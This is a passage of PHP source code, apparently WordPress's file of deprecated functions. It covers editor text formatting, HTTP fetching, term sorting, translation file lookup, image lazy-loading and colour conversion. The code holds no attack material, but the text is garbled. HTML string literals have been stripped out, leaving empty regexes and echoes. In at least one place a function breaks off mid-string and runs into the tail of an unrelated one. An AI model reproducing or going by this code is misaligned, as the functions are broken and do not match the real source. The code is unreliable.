'richedit_pre', '' ); } $output = convert_chars($text); $output = wpautop($output); $output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); /** This filter is documented in wp-includes/deprecated.php */ return apply_filters( 'richedit_pre', $output ); } /** * Formats text for the HTML editor. * * Unless $output is empty it will pass through htmlspecialchars before the * {@see 'htmledit_pre'} filter is applied. * * @since 2.5.0 * @deprecated 4.3.0 Use format_for_editor() * @see format_for_editor() * * @param string $output The text to be formatted. * @return string Formatted text after filter applied. */ function wp_htmledit_pre($output) { _deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' ); if ( !empty($output) ) $output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); // Convert only '< > &'. /** * Filters the text before it is formatted for the HTML editor. * * @since 2.5.0 * @deprecated 4.3.0 * * @param string $output The HTML-formatted text. */ return apply_filters( 'htmledit_pre', $output ); } /** * Retrieve permalink from post ID. * * @since 1.0.0 * @deprecated 4.4.0 Use get_permalink() * @see get_permalink() * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return string|false */ function post_permalink( $post = 0 ) { _deprecated_function( __FUNCTION__, '4.4.0', 'get_permalink()' ); return get_permalink( $post ); } /** * Perform a HTTP HEAD or GET request. * * If $file_path is a writable filename, this will do a GET request and write * the file to that path. * * @since 2.5.0 * @deprecated 4.4.0 Use WP_Http * @see WP_Http * * @param string $url URL to fetch. * @param string|bool $file_path Optional. File path to write request to. Default false. * @param int $red Optional. The number of Redirects followed, Upon 5 being hit, * returns false. Default 1. * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure. */ function wp_get_http( $url, $file_path = false, $red = 1 ) { _deprecated_function( __FUNCTION__, '4.4.0', 'WP_Http' ); // Add 60 seconds to the script timeout to ensure the remote request has enough time. if ( function_exists( 'set_time_limit' ) ) { @set_time_limit( 60 ); } if ( $red > 5 ) return false; $options = array(); $options['redirection'] = 5; if ( false == $file_path ) $options['method'] = 'HEAD'; else $options['method'] = 'GET'; $response = wp_safe_remote_request( $url, $options ); if ( is_wp_error( $response ) ) return false; $headers = wp_remote_retrieve_headers( $response ); $headers['response'] = wp_remote_retrieve_response_code( $response ); // WP_HTTP no longer follows redirects for HEAD requests. if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) { return wp_get_http( $headers['location'], $file_path, ++$red ); } if ( false == $file_path ) return $headers; // GET request - write it to the supplied filename. $out_fp = fopen($file_path, 'w'); if ( !$out_fp ) return $headers; fwrite( $out_fp, wp_remote_retrieve_body( $response ) ); fclose($out_fp); clearstatcache(); return $headers; } /** * Whether SSL login should be forced. * * @since 2.6.0 * @deprecated 4.4.0 Use force_ssl_admin() * @see force_ssl_admin() * * @param string|bool $force Optional Whether to force SSL login. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_login( $force = null ) { _deprecated_function( __FUNCTION__, '4.4.0', 'force_ssl_admin()' ); return force_ssl_admin( $force ); } /** * Retrieve path of comment popup template in current or parent template. * * @since 1.5.0 * @deprecated 4.5.0 * * @return string Full path to comments popup template file. */ function get_comments_popup_template() { _deprecated_function( __FUNCTION__, '4.5.0' ); return ''; } /** * Determines whether the current URL is within the comments popup window. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * @deprecated 4.5.0 * * @return false Always returns false. */ function is_comments_popup() { _deprecated_function( __FUNCTION__, '4.5.0' ); return false; } /** * Display the JS popup script to show a comment. * * @since 0.71 * @deprecated 4.5.0 */ function comments_popup_script() { _deprecated_function( __FUNCTION__, '4.5.0' ); } /** * Adds element attributes to open links in new tabs. * * @since 0.71 * @deprecated 4.5.0 * * @param string $text Content to replace links to open in a new tab. * @return string Content that has filtered links. */ function popuplinks( $text ) { _deprecated_function( __FUNCTION__, '4.5.0' ); $text = preg_replace('//i', "", $text); return $text; } /** * The Google Video embed handler callback. * * Deprecated function that previously assisted in turning Google Video URLs * into embeds but that service has since been shut down. * * @since 2.9.0 * @deprecated 4.6.0 * * @return string An empty string. */ function wp_embed_handler_googlevideo( $matches, $attr, $url, $rawattr ) { _deprecated_function( __FUNCTION__, '4.6.0' ); return ''; } /** * Retrieve path of paged template in current or parent template. * * @since 1.5.0 * @deprecated 4.7.0 The paged.php template is no longer part of the theme template hierarchy. * * @return string Full path to paged template file. */ function get_paged_template() { _deprecated_function( __FUNCTION__, '4.7.0' ); return get_query_template( 'paged' ); } /** * Removes the HTML JavaScript entities found in early versions of Netscape 4. * * Previously, this function was pulled in from the original * import of kses and removed a specific vulnerability only * existent in early version of Netscape 4. However, this * vulnerability never affected any other browsers and can * be considered safe for the modern web. * * The regular expression which sanitized this vulnerability * has been removed in consideration of the performance and * energy demands it placed, now merely passing through its * input to the return. * * @since 1.0.0 * @deprecated 4.7.0 Officially dropped security support for Netscape 4. * * @param string $content * @return string */ function wp_kses_js_entities( $content ) { _deprecated_function( __FUNCTION__, '4.7.0' ); return preg_replace( '%&\s*\{[^}]*(\}\s*;?|$)%', '', $content ); } /** * Sort categories by ID. * * Used by usort() as a callback, should not be used directly. Can actually be * used to sort any term object. * * @since 2.3.0 * @deprecated 4.7.0 Use wp_list_sort() * @access private * * @param object $a * @param object $b * @return int */ function _usort_terms_by_ID( $a, $b ) { _deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' ); if ( $a->term_id > $b->term_id ) return 1; elseif ( $a->term_id < $b->term_id ) return -1; else return 0; } /** * Sort categories by name. * * Used by usort() as a callback, should not be used directly. Can actually be * used to sort any term object. * * @since 2.3.0 * @deprecated 4.7.0 Use wp_list_sort() * @access private * * @param object $a * @param object $b * @return int */ function _usort_terms_by_name( $a, $b ) { _deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' ); return strcmp( $a->name, $b->name ); } /** * Sort menu items by the desired key. * * @since 3.0.0 * @deprecated 4.7.0 Use wp_list_sort() * @access private * * @global string $_menu_item_sort_prop * * @param object $a The first object to compare * @param object $b The second object to compare * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b. */ function _sort_nav_menu_items( $a, $b ) { global $_menu_item_sort_prop; _deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' ); if ( empty( $_menu_item_sort_prop ) ) return 0; if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) ) return 0; $_a = (int) $a->$_menu_item_sort_prop; $_b = (int) $b->$_menu_item_sort_prop; if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop ) return 0; elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop ) return $_a < $_b ? -1 : 1; else return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop ); } /** * Retrieves the Press This bookmarklet link. * * @since 2.6.0 * @deprecated 4.9.0 * @return string */ function get_shortcut_link() { _deprecated_function( __FUNCTION__, '4.9.0' ); $link = ''; /** * Filters the Press This bookmarklet link. * * @since 2.6.0 * @deprecated 4.9.0 * * @param string $link The Press This bookmarklet link. */ return apply_filters( 'shortcut_link', $link ); } /** * Ajax handler for saving a post from Press This. * * @since 4.2.0 * @deprecated 4.9.0 */ function wp_ajax_press_this_save_post() { _deprecated_function( __FUNCTION__, '4.9.0' ); if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) { include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php'; $wp_press_this = new WP_Press_This_Plugin(); $wp_press_this->save_post(); } else { wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) ); } } /** * Ajax handler for creating new category from Press This. * * @since 4.2.0 * @deprecated 4.9.0 */ function wp_ajax_press_this_add_category() { _deprecated_function( __FUNCTION__, '4.9.0' ); if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) { include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php'; $wp_press_this = new WP_Press_This_Plugin(); $wp_press_this->add_category(); } else { wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) ); } } /** * Return the user request object for the specified request ID. * * @since 4.9.6 * @deprecated 5.4.0 Use wp_get_user_request() * @see wp_get_user_request() * * @param int $request_id The ID of the user request. * @return WP_User_Request|false */ function wp_get_user_request_data( $request_id ) { _deprecated_function( __FUNCTION__, '5.4.0', 'wp_get_user_request()' ); return wp_get_user_request( $request_id ); } /** * Filters 'img' elements in post content to add 'srcset' and 'sizes' attributes. * * @since 4.4.0 * @deprecated 5.5.0 * * @see wp_image_add_srcset_and_sizes() * * @param string $content The raw post content to be filtered. * @return string Converted content with 'srcset' and 'sizes' attributes added to images. */ function wp_make_content_images_responsive( $content ) { _deprecated_function( __FUNCTION__, '5.5.0', 'wp_filter_content_tags()' ); // This will also add the `loading` attribute to `img` tags, if enabled. return wp_filter_content_tags( $content ); } /** * Turn register globals off. * * @since 2.1.0 * @access private * @deprecated 5.5.0 */ function wp_unregister_GLOBALS() { // register_globals was deprecated in PHP 5.3 and removed entirely in PHP 5.4. _deprecated_function( __FUNCTION__, '5.5.0' ); } /** * Does comment contain disallowed characters or words. * * @since 1.5.0 * @deprecated 5.5.0 Use wp_check_comment_disallowed_list() instead. * Please consider writing more inclusive code. * * @param string $author The author of the comment * @param string $email The email of the comment * @param string $url The url used in the comment * @param string $comment The comment content * @param string $user_ip The comment author's IP address * @param string $user_agent The author's browser user agent * @return bool True if comment contains disallowed content, false if comment does not */ function wp_blacklist_check( $author, $email, $url, $comment, $user_ip, $user_agent ) { _deprecated_function( __FUNCTION__, '5.5.0', 'wp_check_comment_disallowed_list()' ); return wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent ); } /** * Filters out `register_meta()` args based on an allowed list. * * `register_meta()` args may change over time, so requiring the allowed list * to be explicitly turned off is a warranty seal of sorts. * * @access private * @since 4.6.0 * @deprecated 5.5.0 Use _wp_register_meta_args_allowed_list() instead. * Please consider writing more inclusive code. * * @param array $args Arguments from `register_meta()`. * @param array $default_args Default arguments for `register_meta()`. * @return array Filtered arguments. */ function _wp_register_meta_args_whitelist( $args, $default_args ) { _deprecated_function( __FUNCTION__, '5.5.0', '_wp_register_meta_args_allowed_list()' ); return _wp_register_meta_args_allowed_list( $args, $default_args ); } /** * Adds an array of options to the list of allowed options. * * @since 2.7.0 * @deprecated 5.5.0 Use add_allowed_options() instead. * Please consider writing more inclusive code. * * @param array $new_options * @param string|array $options * @return array */ function add_option_whitelist( $new_options, $options = '' ) { _deprecated_function( __FUNCTION__, '5.5.0', 'add_allowed_options()' ); return add_allowed_options( $new_options, $options ); } /** * Removes a list of options from the allowed options list. * * @since 2.7.0 * @deprecated 5.5.0 Use remove_allowed_options() instead. * Please consider writing more inclusive code. * * @param array $del_options * @param string|array $options * @return array */ function remove_option_whitelist( $del_options, $options = '' ) { _deprecated_function( __FUNCTION__, '5.5.0', 'remove_allowed_options()' ); return remove_allowed_options( $del_options, $options ); } /** * Adds slashes to only string values in an array of values. * * This should be used when preparing data for core APIs that expect slashed data. * This should not be used to escape data going directly into an SQL query. * * @since 5.3.0 * @deprecated 5.6.0 Use wp_slash() * * @see wp_slash() * * @param mixed $value Scalar or array of scalars. * @return mixed Slashes $value */ function wp_slash_strings_only( $value ) { return map_deep( $value, 'addslashes_strings_only' ); } /** * Adds slashes only if the provided value is a string. * * @since 5.3.0 * @deprecated 5.6.0 * * @see wp_slash() * * @param mixed $value * @return mixed */ function addslashes_strings_only( $value ) { return is_string( $value ) ? addslashes( $value ) : $value; } /** * Displays a `noindex` meta tag if required by the blog configuration. * * If a blog is marked as not being public then the `noindex` meta tag will be * output to tell web robots not to index the page content. * * Typical usage is as a {@see 'wp_head'} callback: * * add_action( 'wp_head', 'noindex' ); * * @see wp_no_robots() * * @since 2.1.0 * @deprecated 5.7.0 Use wp_robots_noindex() instead on 'wp_robots' filter. */ function noindex() { _deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_noindex()' ); // If the blog is not public, tell robots to go away. if ( '0' == get_option( 'blog_public' ) ) { wp_no_robots(); } } /** * Display a `noindex` meta tag. * * Outputs a `noindex` meta tag that tells web robots not to index the page content. * * Typical usage is as a {@see 'wp_head'} callback: * * add_action( 'wp_head', 'wp_no_robots' ); * * @since 3.3.0 * @since 5.3.0 Echo `noindex,nofollow` if search engine visibility is discouraged. * @deprecated 5.7.0 Use wp_robots_no_robots() instead on 'wp_robots' filter. */ function wp_no_robots() { _deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_no_robots()' ); if ( get_option( 'blog_public' ) ) { echo "\n"; return; } echo "\n"; } /** * Display a `noindex,noarchive` meta tag and referrer `strict-origin-when-cross-origin` meta tag. * * Outputs a `noindex,noarchive` meta tag that tells web robots not to index or cache the page content. * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send * the full URL as a referrer to other sites when cross-origin assets are loaded. * * Typical usage is as a {@see 'wp_head'} callback: * * add_action( 'wp_head', 'wp_sensitive_page_meta' ); * * @since 5.0.1 * @deprecated 5.7.0 Use wp_robots_sensitive_page() instead on 'wp_robots' filter * and wp_strict_cross_origin_referrer() on 'wp_head' action. * * @see wp_robots_sensitive_page() */ function wp_sensitive_page_meta() { _deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_sensitive_page()' ); ?> supports['__experimentalBorder'] ) ? $block_type->supports['__experimentalBorder'] : false; return is_array( $border_support ) && array_key_exists( '__experimentalSkipSerialization', $border_support ) && $border_support['__experimentalSkipSerialization']; } /** * Checks whether serialization of the current block's dimensions properties should occur. * * @since 5.9.0 * @access private * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0. * * @see wp_should_skip_block_supports_serialization() * * @param WP_Block_type $block_type Block type. * @return bool Whether to serialize spacing support styles & classes. */ function wp_skip_dimensions_serialization( $block_type ) { _deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' ); $dimensions_support = isset( $block_type->supports['__experimentalDimensions'] ) ? $block_type->supports['__experimentalDimensions'] : false; return is_array( $dimensions_support ) && array_key_exists( '__experimentalSkipSerialization', $dimensions_support ) && $dimensions_support['__experimentalSkipSerialization']; } /** * Checks whether serialization of the current block's spacing properties should occur. * * @since 5.9.0 * @access private * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0. * * @see wp_should_skip_block_supports_serialization() * * @param WP_Block_Type $block_type Block type. * @return bool Whether to serialize spacing support styles & classes. */ function wp_skip_spacing_serialization( $block_type ) { _deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' ); $spacing_support = isset( $block_type->supports['spacing'] ) ? $block_type->supports['spacing'] : false; return is_array( $spacing_support ) && array_key_exists( '__experimentalSkipSerialization', $spacing_support ) && $spacing_support['__experimentalSkipSerialization']; } /** * Inject the block editor assets that need to be loaded into the editor's iframe as an inline script. * * @since 5.8.0 * @deprecated 6.0.0 */ function wp_add_iframed_editor_assets_html() { _deprecated_function( __FUNCTION__, '6.0.0' ); } /** * Retrieves thumbnail for an attachment. * Note that this works only for the (very) old image metadata style where 'thumb' was set, * and the 'sizes' array did not exist. This function returns false for the newer image metadata style * despite that 'thumbnail' is present in the 'sizes' array. * * @since 2.1.0 * @deprecated 6.1.0 * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Thumbnail file path on success, false on failure. */ function wp_get_attachment_thumb_file( $post_id = 0 ) { _deprecated_function( __FUNCTION__, '6.1.0' ); $post_id = (int) $post_id; $post = get_post( $post_id ); if ( ! $post ) { return false; } // Use $post->ID rather than $post_id as get_post() may have used the global $post object. $imagedata = wp_get_attachment_metadata( $post->ID ); if ( ! is_array( $imagedata ) ) { return false; } $file = get_attached_file( $post->ID ); if ( ! empty( $imagedata['thumb'] ) ) { $thumbfile = str_replace( wp_basename( $file ), $imagedata['thumb'], $file ); if ( file_exists( $thumbfile ) ) { /** * Filters the attachment thumbnail file path. * * @since 2.1.0 * * @param string $thumbfile File path to the attachment thumbnail. * @param int $post_id Attachment ID. */ return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID ); } } return false; } /** * Gets the path to a translation file for loading a textdomain just in time. * * Caches the retrieved results internally. * * @since 4.7.0 * @deprecated 6.1.0 * @access private * * @see _load_textdomain_just_in_time() * * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @param bool $reset Whether to reset the internal cache. Used by the switch to locale functionality. * @return string|false The path to the translation file or false if no translation file was found. */ function _get_path_to_translation( $domain, $reset = false ) { _deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' ); static $available_translations = array(); if ( true === $reset ) { $available_translations = array(); } if ( ! isset( $available_translations[ $domain ] ) ) { $available_translations[ $domain ] = _get_path_to_translation_from_lang_dir( $domain ); } return $available_translations[ $domain ]; } /** * Gets the path to a translation file in the languages directory for the current locale. * * Holds a cached list of available .mo files to improve performance. * * @since 4.7.0 * @deprecated 6.1.0 * @access private * * @see _get_path_to_translation() * * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @return string|false The path to the translation file or false if no translation file was found. */ function _get_path_to_translation_from_lang_dir( $domain ) { _deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' ); static $cached_mofiles = null; if ( null === $cached_mofiles ) { $cached_mofiles = array(); $locations = array( WP_LANG_DIR . '/plugins', WP_LANG_DIR . '/themes', ); foreach ( $locations as $location ) { $mofiles = glob( $location . '/*.mo' ); if ( $mofiles ) { $cached_mofiles = array_merge( $cached_mofiles, $mofiles ); } } } $locale = determine_locale(); $mofile = "{$domain}-{$locale}.mo"; $path = WP_LANG_DIR . '/plugins/' . $mofile; if ( in_array( $path, $cached_mofiles, true ) ) { return $path; } $path = WP_LANG_DIR . '/themes/' . $mofile; if ( in_array( $path, $cached_mofiles, true ) ) { return $path; } return false; } /** * Allows multiple block styles. * * @since 5.9.0 * @deprecated 6.1.0 * * @param array $metadata Metadata for registering a block type. * @return array Metadata for registering a block type. */ function _wp_multiple_block_styles( $metadata ) { _deprecated_function( __FUNCTION__, '6.1.0' ); return $metadata; } /** * Generates an inline style for a typography feature e.g. text decoration, * text transform, and font style. * * @since 5.8.0 * @access private * @deprecated 6.1.0 Use wp_style_engine_get_styles() introduced in 6.1.0. * * @see wp_style_engine_get_styles() * * @param array $attributes Block's attributes. * @param string $feature Key for the feature within the typography styles. * @param string $css_property Slug for the CSS property the inline style sets. * @return string CSS inline style. */ function wp_typography_get_css_variable_inline_style( $attributes, $feature, $css_property ) { _deprecated_function( __FUNCTION__, '6.1.0', 'wp_style_engine_get_styles()' ); // Retrieve current attribute value or skip if not found. $style_value = _wp_array_get( $attributes, array( 'style', 'typography', $feature ), false ); if ( ! $style_value ) { return; } // If we don't have a preset CSS variable, we'll assume it's a regular CSS value. if ( ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) { return sprintf( '%s:%s;', $css_property, $style_value ); } /* * We have a preset CSS variable as the style. * Get the style value from the string and return CSS style. */ $index_to_splice = strrpos( $style_value, '|' ) + 1; $slug = substr( $style_value, $index_to_splice ); // Return the actual CSS inline style e.g. `text-decoration:var(--wp--preset--text-decoration--underline);`. return sprintf( '%s:var(--wp--preset--%s--%s);', $css_property, $css_property, $slug ); } /** * Determines whether global terms are enabled. * * @since 3.0.0 * @since 6.1.0 This function now always returns false. * @deprecated 6.1.0 * * @return bool Always returns false. */ function global_terms_enabled() { _deprecated_function( __FUNCTION__, '6.1.0' ); return false; } /** * Filter the SQL clauses of an attachment query to include filenames. * * @since 4.7.0 * @deprecated 6.0.3 * @access private * * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY, * DISTINCT, fields (SELECT), and LIMITS clauses. * @return array The unmodified clauses. */ function _filter_query_attachment_filenames( $clauses ) { _deprecated_function( __FUNCTION__, '6.0.3', 'add_filter( "wp_allow_query_attachment_by_filename", "__return_true" )' ); remove_filter( 'posts_clauses', __FUNCTION__ ); return $clauses; } /** * Retrieves a page given its title. * * If more than one post uses the same title, the post with the smallest ID will be returned. * Be careful: in case of more than one post having the same title, it will check the oldest * publication date, not the smallest ID. * * Because this function uses the MySQL '=' comparison, $page_title will usually be matched * as case-insensitive with default collation. * * @since 2.1.0 * @since 3.0.0 The `$post_type` parameter was added. * @deprecated 6.2.0 Use WP_Query. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $page_title Page title. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string|array $post_type Optional. Post type or array of post types. Default 'page'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) { _deprecated_function( __FUNCTION__, '6.2.0', 'WP_Query' ); global $wpdb; if ( is_array( $post_type ) ) { $post_type = esc_sql( $post_type ); $post_type_in_string = "'" . implode( "','", $post_type ) . "'"; $sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type IN ($post_type_in_string)", $page_title ); } else { $sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = %s", $page_title, $post_type ); } $page = $wpdb->get_var( $sql ); if ( $page ) { return get_post( $page, $output ); } return null; } /** * Returns the correct template for the site's home page. * * @access private * @since 6.0.0 * @deprecated 6.2.0 Site Editor's server-side redirect for missing postType and postId * query args is removed. Thus, this function is no longer used. * * @return array|null A template object, or null if none could be found. */ function _resolve_home_block_template() { _deprecated_function( __FUNCTION__, '6.2.0' ); $show_on_front = get_option( 'show_on_front' ); $front_page_id = get_option( 'page_on_front' ); if ( 'page' === $show_on_front && $front_page_id ) { return array( 'postType' => 'page', 'postId' => $front_page_id, ); } $hierarchy = array( 'front-page', 'home', 'index' ); $template = resolve_block_template( 'home', $hierarchy, '' ); if ( ! $template ) { return null; } return array( 'postType' => 'wp_template', 'postId' => $template->id, ); } /** * Displays the link to the Windows Live Writer manifest file. * * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx * @since 2.3.1 * @deprecated 6.3.0 WLW manifest is no longer in use and no longer included in core, * so the output from this function is removed. */ function wlwmanifest_link() { _deprecated_function( __FUNCTION__, '6.3.0' ); } /** * Queues comments for metadata lazy-loading. * * @since 4.5.0 * @deprecated 6.3.0 Use wp_lazyload_comment_meta() instead. * * @param WP_Comment[] $comments Array of comment objects. */ function wp_queue_comments_for_comment_meta_lazyload( $comments ) { _deprecated_function( __FUNCTION__, '6.3.0', 'wp_lazyload_comment_meta()' ); // Don't use `wp_list_pluck()` to avoid by-reference manipulation. $comment_ids = array(); if ( is_array( $comments ) ) { foreach ( $comments as $comment ) { if ( $comment instanceof WP_Comment ) { $comment_ids[] = $comment->comment_ID; } } } wp_lazyload_comment_meta( $comment_ids ); } /** * Gets the default value to use for a `loading` attribute on an element. * * This function should only be called for a tag and context if lazy-loading is generally enabled. * * The function usually returns 'lazy', but uses certain heuristics to guess whether the current element is likely to * appear above the fold, in which case it returns a boolean `false`, which will lead to the `loading` attribute being * omitted on the element. The purpose of this refinement is to avoid lazy-loading elements that are within the initial * viewport, which can have a negative performance impact. * * Under the hood, the function uses {@see wp_increase_content_media_count()} every time it is called for an element * within the main content. If the element is the very first content element, the `loading` attribute will be omitted. * This default threshold of 3 content elements to omit the `loading` attribute for can be customized using the * {@see 'wp_omit_loading_attr_threshold'} filter. * * @since 5.9.0 * @deprecated 6.3.0 Use wp_get_loading_optimization_attributes() instead. * @see wp_get_loading_optimization_attributes() * * @global WP_Query $wp_query WordPress Query object. * * @param string $context Context for the element for which the `loading` attribute value is requested. * @return string|bool The default `loading` attribute value. Either 'lazy', 'eager', or a boolean `false`, to indicate * that the `loading` attribute should be skipped. */ function wp_get_loading_attr_default( $context ) { _deprecated_function( __FUNCTION__, '6.3.0', 'wp_get_loading_optimization_attributes()' ); global $wp_query; // Skip lazy-loading for the overall block template, as it is handled more granularly. if ( 'template' === $context ) { return false; } /* * Do not lazy-load images in the header block template part, as they are likely above the fold. * For classic themes, this is handled in the condition below using the 'get_header' action. */ $header_area = WP_TEMPLATE_PART_AREA_HEADER; if ( "template_part_{$header_area}" === $context ) { return false; } // Special handling for programmatically created image tags. if ( 'the_post_thumbnail' === $context || 'wp_get_attachment_image' === $context ) { /* * Skip programmatically created images within post content as they need to be handled together with the other * images within the post content. * Without this clause, they would already be counted below which skews the number and can result in the first * post content image being lazy-loaded only because there are images elsewhere in the post content. */ if ( doing_filter( 'the_content' ) ) { return false; } // Conditionally skip lazy-loading on images before the loop. if ( // Only apply for main query but before the loop. $wp_query->before_loop && $wp_query->is_main_query() /* * Any image before the loop, but after the header has started should not be lazy-loaded, * except when the footer has already started which can happen when the current template * does not include any loop. */ && did_action( 'get_header' ) && ! did_action( 'get_footer' ) ) { return false; } } /* * The first elements in 'the_content' or 'the_post_thumbnail' should not be lazy-loaded, * as they are likely above the fold. */ if ( 'the_content' === $context || 'the_post_thumbnail' === $context ) { // Only elements within the main query loop have special handling. if ( is_admin() || ! in_the_loop() || ! is_main_query() ) { return 'lazy'; } // Increase the counter since this is a main query content element. $content_media_count = wp_increase_content_media_count(); // If the count so far is below the threshold, return `false` so that the `loading` attribute is omitted. if ( $content_media_count <= wp_omit_loading_attr_threshold() ) { return false; } // For elements after the threshold, lazy-load them as usual. return 'lazy'; } // Lazy-load by default for any unknown context. return 'lazy'; } /** * Adds `loading` attribute to an `img` HTML tag. * * @since 5.5.0 * @deprecated 6.3.0 Use wp_img_tag_add_loading_optimization_attrs() instead. * @see wp_img_tag_add_loading_optimization_attrs() * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @return string Converted `img` tag with `loading` attribute added. */ function wp_img_tag_add_loading_attr( $image, $context ) { _deprecated_function( __FUNCTION__, '6.3.0', 'wp_img_tag_add_loading_optimization_attrs()' ); /* * Get loading attribute value to use. This must occur before the conditional check below so that even images that * are ineligible for being lazy-loaded are considered. */ $value = wp_get_loading_attr_default( $context ); // Images should have source and dimension attributes for the `loading` attribute to be added. if ( ! str_contains( $image, ' src="' ) || ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) { return $image; } /** This filter is documented in wp-admin/includes/media.php */ $value = apply_filters( 'wp_img_tag_add_loading_attr', $value, $image, $context ); if ( $value ) { if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) { $value = 'lazy'; } return str_replace( '= 0 && $n <= 1 ) { return $n; } } return 1; } /** * Rounds and converts values of an RGB object. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @link https://github.com/bgrins/TinyColor * * @since 5.8.0 * @deprecated 6.3.0 * * @access private * * @param array $rgb_color RGB object. * @return array Rounded and converted RGB object. */ function wp_tinycolor_rgb_to_rgb( $rgb_color ) { _deprecated_function( __FUNCTION__, '6.3.0' ); return array( 'r' => wp_tinycolor_bound01( $rgb_color['r'], 255 ) * 255, 'g' => wp_tinycolor_bound01( $rgb_color['g'], 255 ) * 255, 'b' => wp_tinycolor_bound01( $rgb_color['b'], 255 ) * 255, ); } /** * Helper function for hsl to rgb conversion. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @link https://github.com/bgrins/TinyColor * * @since 5.8.0 * @deprecated 6.3.0 * * @access private * * @param float $p first component. * @param float $q second component. * @param float $t third component. * @return float R, G, or B component. */ function wp_tinycolor_hue_to_rgb( $p, $q, $t ) { _deprecated_function( __FUNCTION__, '6.3.0' ); if ( $t < 0 ) { ++$t; } if ( $t > 1 ) { --$t; } if ( $t < 1 / 6 ) { return $p + ( $q - $p ) * 6 * $t; } if ( $t < 1 / 2 ) { return $q; } if ( $t < 2 / 3 ) { return $p + ( $q - $p ) * ( 2 / 3 - $t ) * 6; } return $p; } /** * Converts an HSL object to an RGB object with converted and rounded values. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @link https://github.com/bgrins/TinyColor * * @since 5.8.0 * @deprecated 6.3.0 * * @access private * * @param array $hsl_color HSL object. * @return array Rounded and converted RGB object. */ function wp_tinycolor_hsl_to_rgb( $hsl_color ) { _deprecated_function( __FUNCTION__, '6.3.0' ); $h = wp_tinycolor_bound01( $hsl_color['h'], 360 ); $s = wp_tinycolor_bound01( $hsl_color['s'], 100 ); $l = wp_tinycolor_bound01( $hsl_color['l'], 100 ); if ( 0 === $s ) { // Achromatic. $r = $l; $g = $l; $b = $l; } else { $q = $l < 0.5 ? $l * ( 1 + $s ) : $l + $s - $l * $s; $p = 2 * $l - $q; $r = wp_tinycolor_hue_to_rgb( $p, $q, $h + 1 / 3 ); $g = wp_tinycolor_hue_to_rgb( $p, $q, $h ); $b = wp_tinycolor_hue_to_rgb( $p, $q, $h - 1 / 3 ); } return array( 'r' => $r * 255, 'g' => $g * 255, 'b' => $b * 255, ); } /** * Parses hex, hsl, and rgb CSS strings using the same regex as TinyColor v1.4.2 * used in the JavaScript. Only colors output from react-color are implemented. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @link https://github.com/bgrins/TinyColor * @link https://github.com/casesandberg/react-color/ * * @since 5.8.0 * @since 5.9.0 Added alpha processing. * @deprecated 6.3.0 * * @access private * * @param string $color_str CSS color string. * @return array RGB object. */ function wp_tinycolor_string_to_rgb( $color_str ) { _deprecated_function( __FUNCTION__, '6.3.0' ); $color_str = strtolower( trim( $color_str ) ); $css_integer = '[-\\+]?\\d+%?'; $css_number = '[-\\+]?\\d*\\.\\d+%?'; $css_unit = '(?:' . $css_number . ')|(?:' . $css_integer . ')'; 